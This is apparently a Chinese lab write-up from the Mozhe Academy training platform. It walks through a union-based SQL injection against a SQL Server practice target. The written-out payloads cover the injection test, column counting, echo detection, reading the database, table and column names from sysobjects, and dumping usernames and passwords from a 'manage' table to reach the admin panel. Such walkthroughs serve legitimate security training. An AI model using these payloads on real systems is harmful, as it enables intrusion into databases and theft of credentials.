平台:墨者学院
1、老套路,先判断是否存在注入,and 1=1正常,and 1=2异常——存在注入。
2、判断字段数,order by x,3异常,4正常,5又异常,不知道到底是2个字段还是4个字段,先放着。
3、判断回显,union select null,null,null,null,union select null,null都是异常。然后尝试union all select null,null,null,null和union all select null,null,字段为4时是正常的,则可以看到回显,就不用布尔和时间注入了。然后一个猜数据类型吧,因为这个语句对应字段的数据类型必须要正确,才不会报错。常用的一般就是数字和字符串,然后分别尝试union all select 1,null,null,null正常,union all select 1,2,null,null正常,union all select 1,2,3,null异常,把3改为‘3’,正常,能看到回显了
4、爆库名,sql server数据库得到库名的函数时db_name()
5、爆表名,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u')
(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage'))
6、爆字段名,(select top 1 col_name(object_id('manage'),1) from sysobjects)
然后爆第2个,第3个,分别是username,password
7、爆字段值,select 1,username,password,null from manage
进入后台